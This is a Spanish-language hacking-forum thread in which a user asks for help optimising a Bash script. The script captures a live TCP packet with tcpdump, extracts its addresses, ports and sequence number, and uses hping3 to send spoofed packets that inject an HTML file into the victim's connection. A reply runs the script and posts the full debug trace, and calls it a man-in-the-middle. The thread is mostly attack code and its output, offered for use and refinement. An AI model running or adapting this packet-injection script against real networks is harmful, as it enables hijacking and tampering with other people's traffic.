elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Script Bash lento....
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Script Bash lento....  (Leído 1,845 veces)
soyloqbuskas

Desconectado Desconectado

Mensajes: 218


¡El conocimiento es de todos!


Ver Perfil
Script Bash lento....
« en: 23 Marzo 2012, 18:00 pm »

¡Buenas a todos!

He hecho est script en bash pero es demasiado lento.....hace muchos accesos a ficheros....
¿me podrian ayudar a optimizarlo?
Código
  1.        tcpdump -A -i wlan0 -nvXSs 0 -c1 tcp | grep cksum | grep  Flags | head -n 1 | cut -c5-130 > ficheroAux
  2.        ip1=$(cut -d' ' -f1 ficheroAux | cut -d. -f1-4)
  3.        port1=$(cut -d' ' -f1 ficheroAux| cut -d. -f5)
  4.        ip2=$(cut -d: -f1 ficheroAux | cut -d' ' -f2- |cut -d. -f1-4 | cut -c3-15)
  5.        port2=$(cut -d: -f1 ficheroAux | cut -d. -f9)
  6.        let seqnum=$(cut -dq -f2 ficheroAux | cut -c2-11 | cut -d, -f1)
  7.  
  8.        let seqnumInc=$seqnum+1
  9.  
  10.        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567890 -L $seqnumInc -S -A -c 1
  11.  
  12.        let seqnumInc2=$seqnumInc+1
  13.  
  14.        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -c 1
  15.        hping3  -a $ip2 $ip1 -s $port2 -p $port1 -M 1234567891 -L $seqnumInc2 -A -P -c 1 -d 500 -E miFichero.html
  16.  
  17.        rm ficheroAux
  18.  

La parte que deberia cambiar son las asignaciones a las variables ip1, ip2, port1, port2 y seqnum
Esas variables deberia llenarlas sin tener que hacer una lectura para cada una de ellas o algo asi....

¿Alguna idea de como hacerlo?

Gracias, un saludo!


En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
ox1d0

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Script Bash lento....
« Respuesta #1 en: 30 Marzo 2012, 03:48 am »

La parte que tarda por lo menos a mi ..

es el tcpdump y es normal es lo que tarda en capturar el paquete

Es bueno para debugear sh -x

ejemplo:

sh -x ip.sh                                                                                                                               
+ tcpdump -A -i eth0 -nvXSs 0 -c1 tcp
+ grep cksum
+ grep Flags
+ head -n 1
+ cut -c5-130
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
1 packet captured
1 packet received by filter
0 packets dropped by kernel
++ cut '-d ' -f1 ficheroAux
++ cut -d. -f1-4
+ ip1=10.40.64.183
++ cut '-d ' -f1 ficheroAux
++ cut -d. -f5
+ port1=37979
++ cut -d: -f1 ficheroAux
++ cut '-d ' -f2-
++ cut -d. -f1-4
++ cut -c3-15
+ ip2=74.125.47.125
++ cut -d: -f1 ficheroAux
++ cut -d. -f9
+ port2=443
++ cut -dq -f2 ficheroAux
++ cut -c2-11
++ cut -d, -f1
+ let seqnum=0.40.64.18
ip.sh: line 9: let: seqnum=0.40.64.18: syntax error: invalid arithmetic operator (error token is ".40.64.18")
+ let seqnumInc=+1
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567890 -L 1 -S -A -c 1
HPING 10.40.64.183 (eth0 10.40.64.183): SA set, 40 headers + 0 data bytes
len=52 ip=10.40.64.183 ttl=64 DF id=3589 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

--- 10.40.64.183 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
+ let seqnumInc2=1+1
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567891 -L 2 -A -c 1
HPING 10.40.64.183 (eth0 10.40.64.183): A set, 40 headers + 0 data bytes
len=52 ip=10.40.64.183 ttl=64 DF id=3590 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

--- 10.40.64.183 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms
+ hping3 -a 74.125.47.125 10.40.64.183 -s 443 -p 37979 -M 1234567891 -L 2 -A -P -c 1 -d 500 -E miFichero.html
HPING 10.40.64.183 (eth0 10.40.64.183): AP set, 40 headers + 500 data bytes
[main] memlockall(): Success
Warning: can't disable memory paging!
[datafiller] open(): No such file or directory
len=52 ip=10.40.64.183 ttl=64 DF id=3591 sport=37979 flags=A seq=0 win=477 rtt=0.2 ms

Probe con la opsion -s pero el ratraso es por el filtro en si ..

Aunque en realidad no tarda demasiado ..

PD esto probando tu Man in thel midle .. que posteaste .. quiza los filtros del cut funcionen mas rapido con perl o awk quizas ..


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
script bash (ubuntu): Parar un proceso sin salir del script (SOLUCIONADO)
Scripting
moikano→@ 6 11,068 Último mensaje 28 Octubre 2010, 15:48 pm
por moikano→@
[Bash script] equivalente de goto en batch para bash (SOLUCIONADO)
Scripting
moikano→@ 4 16,134 Último mensaje 4 Noviembre 2010, 15:58 pm
por moikano→@
[Bash] Abrir un proceso o otro script bash en una nueva shell
Scripting
nhaalclkiemr 2 14,020 Último mensaje 27 Agosto 2011, 06:23 am
por nhaalclkiemr
conversion de KiB/s a KB/s (bash script)
Scripting
xkiz ™ 1 3,117 Último mensaje 4 Enero 2012, 20:08 pm
por BlackZeroX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines